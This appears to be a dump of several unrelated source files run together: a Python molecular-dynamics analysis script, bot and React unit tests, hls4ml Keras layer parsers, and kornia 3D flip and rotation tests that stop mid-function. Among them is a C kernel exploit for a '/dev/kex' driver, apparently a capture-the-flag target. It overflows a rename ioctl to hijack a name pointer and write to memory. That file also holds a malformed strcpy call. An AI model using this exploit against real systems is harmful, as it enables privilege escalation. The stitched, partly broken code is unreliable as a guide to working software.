'bubble_density_{time}_{ele}.out' bubble_density_out = os.path.join(base_path, 'results', bubble_density_out) bubble_density_header = '\t'.join( ['r_low', 'r_high', 'density\n'] ) bubble_density(box, elements = settings.BUBBLE_DENSITY_STATS_ELEMENTS, mole = 1, out_fmt = bubble_density_out, header = bubble_density_header, dr = settings.DENSITY_DR, time = timestep, container = settings.NAMES_CONTAINER, debug = settings.DEBUG) def main(): # Change default logging level logging.basicConfig(level=logging.INFO) if settings.DO_RADIUS: logging.info("Doing radius analysis") radius_analysis( settings ) if settings.DO_PRESSURE: for base_path in settings.DUMP_PATH: stress_file = os.path.join(base_path, settings.DUMP_NAME) start = time.clock() # Read atoms from stress_file. with open(stress_file, 'r') as stress_file_opened: logging.info( "Reading stress file %s", stress_file ) atoms = read_stress(stress_file_opened, settings.NLINES, settings.NORMAL) duration = time.clock() - start logging.info("Reading of atoms takes {d} seconds\n".format(d = duration)) for timestep in atoms.keys(): # Run requested stats for each timestep. logging.info( "Pressure analysis for timestep {}".format( timestep ) ) logging.info( "Pressure analysis for timestep {}".format( timestep ) ) box = build_box(atoms[timestep], radius=settings.MAX_RADIUS, timestep=timestep, center=settings.CENTER, use_atomic_volume=settings.USE_ATOMIC_VOL, average_on_atom=settings.AVERAGE_ON_ATOM, bx=settings.BOUNDARY_X, by=settings.BOUNDARY_Y, bz=settings.BOUNDARY_Z ) if settings.COMBINE_WATER: box.combine_water_atoms() box.measure() shell_analysis( box, timestep, base_path, settings ) bubble_analysis( box, timestep, base_path, settings ) duration = time.clock() - start logging.info("Stats takes {d} seconds\n".format(d = duration)) if __name__ == '__main__': main()
import pytest try: from bots.etf.tops import etfs_disc_command except ImportError: pytest.skip(allow_module_level=True) @pytest.mark.bots @pytest.mark.parametrize("sort", ["active"]) @pytest.mark.vcr def test_etfs_disc_command(mocker, recorder, sort): mocker.patch("bots.helpers.uuid_get", return_value="1") value = etfs_disc_command(sort) for key, value in value.items(): key = str(value) print(f"{key}: {type(value)}-{str(value)}") recorder.capture(value)
import numpy as np from hls4ml.converters.keras_to_hls import parse_default_keras_layer from hls4ml.converters.keras_to_hls import keras_handler from hls4ml.model.hls_model import Quantizer from hls4ml.model.hls_model import IntegerPrecisionType @keras_handler('InputLayer') def parse_input_layer(keras_layer, input_names, input_shapes, data_reader, config): assert(keras_layer['class_name'] == 'InputLayer') layer = parse_default_keras_layer(keras_layer, input_names) layer['input_shape'] = keras_layer['config']['batch_input_shape'][1:] if keras_layer['config']['dtype'] == 'int32': layer['type_name'] = 'integer_input_t' layer['precision'] = IntegerPrecisionType(width=32) output_shape = keras_layer['config']['batch_input_shape'] return layer, output_shape class BinaryQuantizer(Quantizer): def __init__(self, bits=2): if bits == 1: hls_type = IntegerPrecisionType(width=1, signed=False) elif bits == 2: hls_type = IntegerPrecisionType(width=2) else: raise Exception('BinaryQuantizer suppots 1 or 2 bits, but called with bits={}'.format(bits)) super(BinaryQuantizer, self).__init__(bits, hls_type) def __call__(self, data): zeros = np.zeros_like(data) ones = np.ones_like(data) quant_data = data if self.bits == 1: quant_data = np.where(data > 0, ones, zeros).astype('int') if self.bits == 2: quant_data = np.where(data > 0, ones, -ones) return quant_data class TernaryQuantizer(Quantizer): def __init__(self): super(TernaryQuantizer, self).__init__(2, IntegerPrecisionType(width=2)) def __call__(self, data): zeros = np.zeros_like(data) ones = np.ones_like(data) return np.where(data > 0.5, ones, np.where(data <= -0.5, -ones, zeros)) dense_layers = ['Dense', 'BinaryDense', 'TernaryDense'] @keras_handler(*dense_layers) def parse_dense_layer(keras_layer, input_names, input_shapes, data_reader, config): assert('Dense' in keras_layer['class_name']) layer = parse_default_keras_layer(keras_layer, input_names) weights_shape = data_reader.get_weights_shape(layer['name'], 'kernel') layer['n_in'] = weights_shape[0] layer['n_out'] = weights_shape[1] if 'Binary' in layer['class_name']: layer['weight_quantizer'] = BinaryQuantizer(bits=2) layer['bias_quantizer'] = BinaryQuantizer(bits=2) elif 'Ternary' in layer['class_name']: layer['weight_quantizer'] = TernaryQuantizer() layer['bias_quantizer'] = TernaryQuantizer() else: layer['weight_quantizer'] = None layer['bias_quantizer'] = None output_shape = input_shapes[0][:] output_shape[-1] = layer['n_out'] return layer, output_shape activation_layers = ['Activation', 'LeakyReLU', 'ThresholdedReLU', 'ELU', 'PReLU', 'Softmax', 'ReLU'] @keras_handler(*activation_layers) def parse_activation_layer(keras_layer, input_names, input_shapes, data_reader, config): assert(keras_layer['class_name'] in activation_layers) layer = parse_default_keras_layer(keras_layer, input_names) if layer['class_name'] != 'Activation': layer['activation'] = layer['class_name'] if layer['class_name'] == 'LeakyReLU': layer['activ_param'] = keras_layer['config'].get('alpha', 0.3) elif layer['class_name'] == 'ThresholdedReLU': layer['activ_param'] = keras_layer['config'].get('theta', 1.) elif layer['class_name'] == 'ELU': layer['activ_param'] = keras_layer['config'].get('alpha', 1.) elif layer['class_name'] == 'ReLU': layer['class_name'] = 'Activation' if layer['class_name'] == 'Activation' and layer['activation'] == 'softmax': layer['class_name'] = 'Softmax' if layer['class_name'] == 'Softmax': layer['axis'] = keras_layer['config'].get('axis', -1) return layer, [shape for shape in input_shapes[0]] @keras_handler('BatchNormalization') def parse_batchnorm_layer(keras_layer, input_names, input_shapes, data_reader, config): assert('BatchNormalization' in keras_layer['class_name'] or 'QConv2DBatchnorm' in keras_layer['class_name']) layer = parse_default_keras_layer(keras_layer, input_names) in_size = 1 for dim in input_shapes[0][1:]: in_size *= dim layer['n_in'] = in_size layer['n_out'] = layer['n_in'] if len(input_shapes[0]) == 2: layer['n_filt'] = -1 elif len(input_shapes[0]) == 3: layer['n_filt']=input_shapes[0][2] elif len(input_shapes[0]) == 4: layer['n_filt']=input_shapes[0][3] return layer, [shape for shape in input_shapes[0]]
#include <errno.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <stdlib.h> #include <string.h> #define KEX_BASE 0x43544601 #define KEX_CREATE (KEX_BASE) #define KEX_GETARR (KEX_BASE + 1) #define KEX_SETARR (KEX_BASE + 2) #define KEX_DELETE (KEX_BASE + 5) #define KEX_RENAME (KEX_BASE + 7) struct kex_param { char name[32]; int ind; int value; }; struct kex_rename_param { char name[32]; char new_name[32]; int len; }; int main() { struct kex_param param; struct kex_rename_param rename_param; int fd = open("/dev/kex", 0); if (fd < 0) { perror("open()"); return 1; } strcpy(param.name, "kek", sizeof(param.name)); if (ioctl(fd, KEX_CREATE, &param) < 0) { perror("ioctl() create"); return 1; } strcpy(rename_param.name, "kek"); strcpy(rename_param.new_name, "testing"); //int val = 0; //strncpy(rename_param.new_name, &val, 4); rename_param.len = 1111; if (ioctl(fd, KEX_RENAME-1, &rename_param) < 0) { perror("ioctl() rename2"); return 1; } strcpy(rename_param.name, "testing"); //int val = 0; //strncpy(rename_param.new_name, &val, 4); rename_param.len = 1111; if (ioctl(fd, KEX_RENAME-1, &rename_param) < 0) { perror("ioctl() rename3"); return 1; } param.name[0] = 0; param.ind = 0xff; param.value = 0; if (ioctl(fd, KEX_GETARR, &param) < 0) { perror("ioctl() getarr"); return 1; } printf("[*] name pointer was at: 0x%08x\n", param.value); param.ind = 0xff; param.value = 0x55555555; if (ioctl(fd, KEX_SETARR, &param) < 0) { perror("ioctl() setarr"); return 1; } //param.name[0] = 0x3; param.ind = 0xff; param.value = 0xffff; if (ioctl(fd, KEX_GETARR, &param) < 0) { perror("ioctl() setarr"); return 1; } printf("[*] Name pointer is now pointing at: 0x%08x\n", param.value); printf("[*] Writing to address\n"); strcpy(rename_param.name, "testing"); rename_param.name[0] = 0x0; //int val = 0; //strncpy(rename_param.new_name, &val, 4); rename_param.len = 1111; if (ioctl(fd, KEX_RENAME-1, &rename_param) < 0) { perror("ioctl() rename"); return 1; } printf("[*] Triggering bug...\n"); rmdir("/dev/kek"); exit(0); }
import { assert } from 'chai'; import React from 'react'; import { shallow, render } from 'enzyme'; import { i18nTranslator } from '@jenkins-cd/blueocean-core-js'; import { latestRuns } from './data/runs/latestRuns'; import RunDetailsChanges from '../../main/js/components/RunDetailsChanges'; const t = i18nTranslator('blueocean-dashboard'); import { mockExtensionsForI18n } from './mock-extensions-i18n'; mockExtensionsForI18n(); describe('RunDetailsChanges', () => { beforeAll(() => mockExtensionsForI18n()); it('renders nothing with no data', () => { let wrapper = render(<RunDetailsChanges t={t} />); assert.equal(wrapper.html(), '', 'output should be empty'); }); it('renders empty changeset', () => { let wrapper = render(<RunDetailsChanges t={t} result={{ changeSet: [] }} />); let output = wrapper.html(); // Class names we expect to see assert(output.match('RunDetailsEmpty'), 'output should contain "RunDetailsEmpty"'); assert(output.match('NoChanges'), 'output should contain "NoChanges"'); assert(output.match('PlaceholderTable'), 'output should contain "PlaceholderTable"'); }); it('renders a valid changeset', () => { let runs = latestRuns.map(run => (run.latestRun)); let wrapper = render(<RunDetailsChanges t={t} result={runs[0]}/>); let output = wrapper.html(); // Class names we expect to see assert(output.match('JTable'), 'output should contain "JTable"'); assert(output.match('JTable-row'), 'output should contain "JTable-row"'); assert(output.match('JTable-cell'), 'output should contain "JTable-cell"'); // Data values we expect to see assert(output.match('21552ff'), 'output should contain "21552ff"'); // Commit hash assert(output.match('tscherler'), 'output should contain "tscherler"'); assert(output.match('Update Jenkinsfile'), 'output should contain "Update Jenkinsfile"'); }); });
from typing import Union, Tuple import pytest import torch import torch.nn as nn from torch.testing import assert_allclose from torch.autograd import gradcheck import kornia import kornia.testing as utils # test utils from kornia.constants import pi from kornia.augmentation import ( RandomDepthicalFlip3D, RandomHorizontalFlip3D, RandomVerticalFlip3D, RandomAffine3D, RandomRotation3D, RandomCrop3D, CenterCrop3D, RandomEqualize3D ) class TestRandomHorizontalFlip3D: def test_smoke(self): f = RandomHorizontalFlip3D(0.5) repr = "RandomHorizontalFlip3D(p=0.5, p_batch=1.0, same_on_batch=False, return_transform=0.5)" assert str(f) == repr def test_random_hflip(self, device): f = RandomHorizontalFlip3D(p=1.0, return_transform=True) f1 = RandomHorizontalFlip3D(p=0., return_transform=True) f2 = RandomHorizontalFlip3D(p=1.) f3 = RandomHorizontalFlip3D(p=0.) input = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 1., 2.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 1., 2.]]]) # 2 x 3 x 4 input = input.to(device) expected = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [2., 1., 0., 0.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [2., 1., 0., 0.]]]) # 2 x 3 x 4 expected = expected.to(device) expected_transform = torch.tensor([[-1., 0., 0., 3.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) # 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) # 4 x 4 identity = identity.to(device) assert (f(input)[0] == expected).all() assert (f(input)[1] == expected_transform).all() assert (f1(input)[0] == input).all() assert (f1(input)[1] == identity).all() assert (f2(input) == expected).all() assert (f3(input) == input).all() def test_batch_random_hflip(self, device): f = RandomHorizontalFlip3D(p=1.0, return_transform=True) f1 = RandomHorizontalFlip3D(p=0.0, return_transform=True) input = torch.tensor([[[[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]]]) # 1 x 1 x 1 x 3 x 3 input = input.to(device) expected = torch.tensor([[[[[0., 0., 0.], [0., 0., 0.], [1., 1., 0.]]]]]) # 1 x 1 x 1 x 3 x 3 expected = expected.to(device) expected_transform = torch.tensor([[[-1., 0., 0., 2.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 identity = identity.to(device) input = input.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected = expected.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected_transform = expected_transform.repeat(5, 1, 1) # 5 x 4 x 4 identity = identity.repeat(5, 1, 1) # 5 x 4 x 4 assert (f(input)[0] == expected).all() assert (f(input)[1] == expected_transform).all() assert (f1(input)[0] == input).all() assert (f1(input)[1] == identity).all() def test_same_on_batch(self, device): f = RandomHorizontalFlip3D(p=0.5, same_on_batch=True) input = torch.eye(3).unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 1, 1, 1, 1) res = f(input) assert (res[0] == res[1]).all() def test_sequential(self, device): f = nn.Sequential( RandomHorizontalFlip3D(p=1.0, return_transform=True), RandomHorizontalFlip3D(p=1.0, return_transform=True), ) f1 = nn.Sequential( RandomHorizontalFlip3D(p=1.0, return_transform=True), RandomHorizontalFlip3D(p=1.0), ) input = torch.tensor([[[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]]) # 1 x 1 x 3 x 3 input = input.to(device) expected_transform = torch.tensor([[[-1., 0., 0., 2.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) expected_transform_1 = expected_transform @ expected_transform expected_transform_1 = expected_transform_1.to(device) assert(f(input)[0] == input).all() assert(f(input)[1] == expected_transform_1).all() assert(f1(input)[0] == input).all() assert(f1(input)[1] == expected_transform).all() @pytest.mark.skip(reason="turn off all jit for a while") def test_jit(self, device): @torch.jit.script def op_script(data: torch.Tensor) -> Union[torch.Tensor, Tuple[torch.Tensor, torch.Tensor]]: return kornia.random_hflip(data) input = torch.tensor([[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]) # 1 x 3 x 3 # Build jit trace op_trace = torch.jit.trace(op_script, (input, )) # Create new inputs input = torch.tensor([[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]) # 3 x 3 input = input.repeat(2, 1, 1) # 2 x 3 x 3 expected = torch.tensor([[[0., 0., 0.], [0., 5., 5.], [0., 0., 0.]]]) # 3 x 3 expected = expected.repeat(2, 1, 1) actual = op_trace(input) assert_allclose(actual, expected) def test_gradcheck(self, device): input = torch.rand((1, 3, 3)).to(device) # 3 x 3 input = utils.tensor_to_gradcheck_var(input) # to var assert gradcheck(RandomHorizontalFlip3D(p=1.), (input, ), raise_exception=True) class TestRandomVerticalFlip3D: def test_smoke(self): f = RandomVerticalFlip3D(0.5) repr = "RandomVerticalFlip3D(p=0.5, p_batch=1.0, same_on_batch=False, return_transform=0.5)" assert str(f) == repr def test_random_vflip(self, device): f = RandomVerticalFlip3D(p=1.0, return_transform=True) f1 = RandomVerticalFlip3D(p=0., return_transform=True) f2 = RandomVerticalFlip3D(p=1.) f3 = RandomVerticalFlip3D(p=0.) input = torch.tensor([[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]], [[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]) # 2 x 3 x 3 input = input.to(device) expected = torch.tensor([[[0., 1., 1.], [0., 0., 0.], [0., 0., 0.]], [[0., 1., 1.], [0., 0., 0.], [0., 0., 0.]]]) # 2 x 3 x 3 expected = expected.to(device) expected_transform = torch.tensor([[1., 0., 0., 0.], [0., -1., 0., 2.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) # 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) # 4 x 4 identity = identity.to(device) assert_allclose(f(input)[0], expected) assert_allclose(f(input)[1], expected_transform) assert_allclose(f1(input)[0], input) assert_allclose(f1(input)[1], identity) assert_allclose(f2(input), expected) assert_allclose(f3(input), input) def test_batch_random_vflip(self, device): f = RandomVerticalFlip3D(p=1.0, return_transform=True) f1 = RandomVerticalFlip3D(p=0.0, return_transform=True) input = torch.tensor([[[[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]]]) # 1 x 1 x 1 x 3 x 3 input = input.to(device) expected = torch.tensor([[[[[0., 1., 1.], [0., 0., 0.], [0., 0., 0.]]]]]) # 1 x 1 x 1 x 3 x 3 expected = expected.to(device) expected_transform = torch.tensor([[[1., 0., 0., 0.], [0., -1., 0., 2.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 identity = identity.to(device) input = input.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected = expected.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected_transform = expected_transform.repeat(5, 1, 1) # 5 x 4 x 4 identity = identity.repeat(5, 1, 1) # 5 x 4 x 4 assert_allclose(f(input)[0], expected) assert_allclose(f(input)[1], expected_transform) assert_allclose(f1(input)[0], input) assert_allclose(f1(input)[1], identity) def test_same_on_batch(self, device): f = RandomVerticalFlip3D(p=0.5, same_on_batch=True) input = torch.eye(3).unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 1, 1, 1, 1) res = f(input) assert (res[0] == res[1]).all() def test_sequential(self, device): f = nn.Sequential( RandomVerticalFlip3D(p=1.0, return_transform=True), RandomVerticalFlip3D(p=1.0, return_transform=True), ) f1 = nn.Sequential( RandomVerticalFlip3D(p=1.0, return_transform=True), RandomVerticalFlip3D(p=1.0), ) input = torch.tensor([[[[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]]]) # 1 x 1 x 1 x 4 x 4 input = input.to(device) expected_transform = torch.tensor([[[1., 0., 0., 0.], [0., -1., 0., 2.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) expected_transform_1 = expected_transform @ expected_transform assert_allclose(f(input)[0], input.squeeze()) assert_allclose(f(input)[1], expected_transform_1) assert_allclose(f1(input)[0], input.squeeze()) assert_allclose(f1(input)[1], expected_transform) @pytest.mark.skip(reason="turn off all jit for a while") def test_jit(self, device): @torch.jit.script def op_script(data: torch.Tensor) -> Union[torch.Tensor, Tuple[torch.Tensor, torch.Tensor]]: return kornia.random_vflip(data) input = torch.tensor([[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]) # 4 x 4 # Build jit trace op_trace = torch.jit.trace(op_script, (input, )) # Create new inputs input = torch.tensor([[[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]]) # 1 x 4 x 4 input = input.repeat(2, 1, 1) # 2 x 4 x 4 expected = torch.tensor([[[[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]]]) # 1 x 4 x 4 expected = expected.repeat(2, 1, 1) actual = op_trace(input) assert_allclose(actual, expected) def test_gradcheck(self, device): input = torch.rand((1, 3, 3)).to(device) # 4 x 4 input = utils.tensor_to_gradcheck_var(input) # to var assert gradcheck(RandomVerticalFlip3D(p=1.), (input, ), raise_exception=True) class TestRandomDepthicalFlip3D: def test_smoke(self): f = RandomDepthicalFlip3D(0.5) repr = "RandomDepthicalFlip3D(p=0.5, p_batch=1.0, same_on_batch=False, return_transform=0.5)" assert str(f) == repr def test_random_dflip(self, device): f = RandomDepthicalFlip3D(p=1.0, return_transform=True) f1 = RandomDepthicalFlip3D(p=0., return_transform=True) f2 = RandomDepthicalFlip3D(p=1.) f3 = RandomDepthicalFlip3D(p=0.) input = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 1.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 2.]]]) # 2 x 3 x 4 input = input.to(device) expected = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 2.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 1.]]]) # 2 x 3 x 4 expected = expected.to(device) expected_transform = torch.tensor([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., -1., 1.], [0., 0., 0., 1.]]) # 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]) # 4 x 4 identity = identity.to(device) assert_allclose(f(input)[0], expected) assert_allclose(f(input)[1], expected_transform) assert_allclose(f1(input)[0], input) assert_allclose(f1(input)[1], identity) assert_allclose(f2(input), expected) assert_allclose(f3(input), input) def test_batch_random_dflip(self, device): f = RandomDepthicalFlip3D(p=1.0, return_transform=True) f1 = RandomDepthicalFlip3D(p=0.0, return_transform=True) input = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 1.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 2.]]]) # 2 x 3 x 4 input = input.to(device) expected = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 2.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 1.]]]) # 2 x 3 x 4 expected = expected.to(device) expected_transform = torch.tensor([[[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., -1., 1.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) identity = torch.tensor([[[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., 1., 0.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 identity = identity.to(device) input = input.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected = expected.repeat(5, 3, 1, 1, 1) # 5 x 3 x 3 x 3 x 3 expected_transform = expected_transform.repeat(5, 1, 1) # 5 x 4 x 4 identity = identity.repeat(5, 1, 1) # 5 x 4 x 4 assert_allclose(f(input)[0], expected) assert_allclose(f(input)[1], expected_transform) assert_allclose(f1(input)[0], input) assert_allclose(f1(input)[1], identity) def test_same_on_batch(self, device): f = RandomDepthicalFlip3D(p=0.5, same_on_batch=True) input = torch.eye(3).unsqueeze(dim=0).unsqueeze(dim=0).repeat(2, 1, 2, 1, 1) res = f(input) assert (res[0] == res[1]).all() def test_sequential(self, device): f = nn.Sequential( RandomDepthicalFlip3D(p=1.0, return_transform=True), RandomDepthicalFlip3D(p=1.0, return_transform=True), ) f1 = nn.Sequential( RandomDepthicalFlip3D(p=1.0, return_transform=True), RandomDepthicalFlip3D(p=1.0), ) input = torch.tensor([[[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 1.]], [[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 2.]]]) # 2 x 3 x 4 input = input.to(device) expected_transform = torch.tensor([[[1., 0., 0., 0.], [0., 1., 0., 0.], [0., 0., -1., 1.], [0., 0., 0., 1.]]]) # 1 x 4 x 4 expected_transform = expected_transform.to(device) expected_transform_1 = expected_transform @ expected_transform assert_allclose(f(input)[0], input.squeeze()) assert_allclose(f(input)[1], expected_transform_1) assert_allclose(f1(input)[0], input.squeeze()) assert_allclose(f1(input)[1], expected_transform) @pytest.mark.skip(reason="turn off all jit for a while") def test_jit(self, device): @torch.jit.script def op_script(data: torch.Tensor) -> Union[torch.Tensor, Tuple[torch.Tensor, torch.Tensor]]: return kornia.random_vflip(data) input = torch.tensor([[[0., 0., 0.], [0., 0., 0.], [0., 1., 1.]]]) # 4 x 4 # Build jit trace op_trace = torch.jit.trace(op_script, (input, )) # Create new inputs input = torch.tensor([[[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]]) # 1 x 4 x 4 input = input.repeat(2, 1, 1) # 2 x 4 x 4 expected = torch.tensor([[[[0., 0., 0.], [5., 5., 0.], [0., 0., 0.]]]]) # 1 x 4 x 4 expected = expected.repeat(2, 1, 1) actual = op_trace(input) assert_allclose(actual, expected) def test_gradcheck(self, device): input = torch.rand((1, 3, 3)).to(device) # 4 x 4 input = utils.tensor_to_gradcheck_var(input) # to var assert gradcheck(RandomDepthicalFlip3D(p=1.), (input, ), raise_exception=True) @pytest.mark.skip(reason="need to recompute values") class TestRandomRotation3D: torch.manual_seed(0) # for random reproductibility def test_smoke(self): f = RandomRotation3D(degrees=45.5) repr = """RandomRotation3D(degrees=tensor([[-45.5000, 45.5000], [-45.5000, 45.5000], [-45.5000, 45.5000]]), resample=BILINEAR, align_corners=False, p=0.5, """\ """p_batch=1.0, same_on_batch=False, return_transform=False)""" assert str(f) == repr def test_random_rotation(self, device): # This is included in doctest torch.manual_seed(0) # for random reproductibility f = RandomRotation3D(degrees=45.0, return_transform=True) f1 = RandomRotation3D(degrees=45.0) input = torch.tensor([[[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]]]) # 3 x 4 x 4 input = input.to(device) expected = torch.tensor([[[[[9.9412e-01, 0.0000e+00, 8.5407e-03, 1.9535e+00], [1.7328e-05, 3.8945e-03, 1.5617e-02, 1.0553e-04], [0.0000e+00, 9.8295e-01, 1.9789e+00, 4.9531e-02], [0.0000e+00, 0.0000e+00, 9.7034e-01, 1.9548e+00]], [[9.6646e-01, 0.0000e+00, 4.3866e-02, 1.9559e+00], [1.1586e-02, 0.0000e+00, 1.0260e-04, 0.0000e+00], [4.4472e-03, 9.9659e-01, 1.9833e+00, 3.4181e-05], [0.0000e+00, 7.8456e-03, 9.9959e-01, 1.9956e+00]], [[9.3772e-01, 0.0000e+00, 7.8179e-02, 1.8983e+00], [2.2707e-02, 0.0000e+00, 9.6477e-04, 2.2624e-02], [2.1575e-02, 9.9975e-01, 1.9243e+00, 0.0000e+00], [3.1300e-04, 3.2790e-02, 1.0249e+00, 1.9474e+00]]]]]) expected = expected.to(device) expected_transform = torch.tensor([[[0.7168, 0.5830, 0.3825, -1.1651], [-0.5853, 0.8012, -0.1242, 1.0699], [-0.3789, -0.1349, 0.9155, 0.7079], [0.0000, 0.0000, 0.0000, 1.0000]]]) expected_transform = expected_transform.to(device) expected_2 = torch.tensor([[[[[0.5337, 0.0176, 0.0066, 0.2952], [0.1152, 0.1210, 0.7456, 1.4092], [0.0000, 0.0000, 0.3873, 0.5115], [0.0000, 0.0000, 0.0000, 0.0000]], [[0.1647, 1.5763, 0.5870, 0.0000], [0.0000, 0.2845, 0.0000, 0.0000], [0.0000, 0.5602, 0.6448, 0.2305], [0.3809, 1.3558, 1.5374, 1.5583]], [[0.0000, 0.0000, 0.0000, 0.0000], [0.4242, 0.0000, 0.0000, 0.0000], [1.4400, 0.1584, 0.0000, 0.0000], [0.0946, 0.0000, 0.0000, 0.0000]]]]]) expected_2 = expected_2.to(device) out, mat = f(input) assert_allclose(out, expected, rtol=1e-6, atol=1e-4) assert_allclose(mat, expected_transform, rtol=1e-6, atol=1e-4) assert_allclose(f1(input), expected_2, rtol=1e-6, atol=1e-4) def test_batch_random_rotation(self, device): torch.manual_seed(0) # for random reproductibility f = RandomRotation3D(degrees=45.0, return_transform=True) input = torch.tensor([[[[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]], [[1., 0., 0., 2.], [0., 0., 0., 0.], [0., 1., 2., 0.], [0., 0., 1., 2.]]]]) # 1 x 1 x 4 x 4 input = input.to(device) expected = torch.tensor([[[[[9.9412e-01, 0.0000e+00, 8.5407e-03, 1.9535e+00], [1.7328e-05, 3.8945e-03, 1.5617e-02, 1.0553e-04], [0.0000e+00, 9.8295e-01, 1.9789e+00, 4.9531e-02], [0.0000e+00, 0.0000e+00, 9.7034e-01, 1.9548e+00]], [[9.6646e-01, 0.0000e+00, 4.3866e-02, 1.9559e+00], [1.1586e-02, 0.0000e+00, 1.0260e-04, 0.0000e+00], [4.4472e-03, 9.9659e-01, 1.9833e+00, 3.4181e-05], [0.0000e+00, 7.8456e-03, 9.9959e-01, 1.9956e+00]], [[9.3772e-01, 0.0000e+00, 7.8179e-02, 1.8983e+00], [2.2707e-02, 0.0000e+00, 9.6477e-04, 2.2624e-02], [2.1575e-02, 9.9975e-01, 1.9243e+00, 0.0000e+00], [3.1300e-04, 3.2790e-02, 1.0249e+00, 1.9474e+00]]]], [[[[5.9268e-01, 4.6201e-01, 0.0000e+00, 1.3414e-01], [5.0854e-02, 0.0000e+00, 1.2416e-02, 1.1548e+00], [6.1057e-01, 9.5876e-01, 1.9510e-01, 0.0000e+00], [7.4132e-01, 8.6556e-01, 1.9031e-01, 0.0000e+00]], [[0.0000e+00, 1.0143e-01, 2.2231e-01, 0.0000e+00], [0.0000e+00, 1.8495e-01, 5.0593e-01, 4.9479e-01], [4.9456e-02, 5.0849e-01, 1.5325e+00, 7.8474e-01], [0.0000e+00, 4.7385e-01, 1.3469e+00, 1.1854e+00]], [[0.0000e+00, 0.0000e+00, 0.0000e+00, 9.7841e-02], [0.0000e+00, 0.0000e+00, 1.2882e-01, 8.0175e-01], [0.0000e+00, 0.0000e+00, 0.0000e+00, 7.2928e-01], [0.0000e+00, 0.0000e+00, 0.0000e+00, 2.1100e-01]]]]]) expected = expected.to(device) expected_transform = torch.tensor([[[0.7559, 0.2793, -0.5921, 0.7132], [-0.2756, 0.9561, 0.0991, 0.1928], [0.5938, 0.0883, 0.7998, -0.4259], [0.0000, 0.0000, 0.0000, 1.0000]], [[0.8194, -0.3079, -0.4836, 1.3678], [0.0754, 0.8941, -0.4415, 0.7456], [0.5683, 0.3253, 0.7558, -0.6899], [0.0000, 0.0000, 0.0000, 1.0000]]]) expected_transform = expected_transform.to(device) 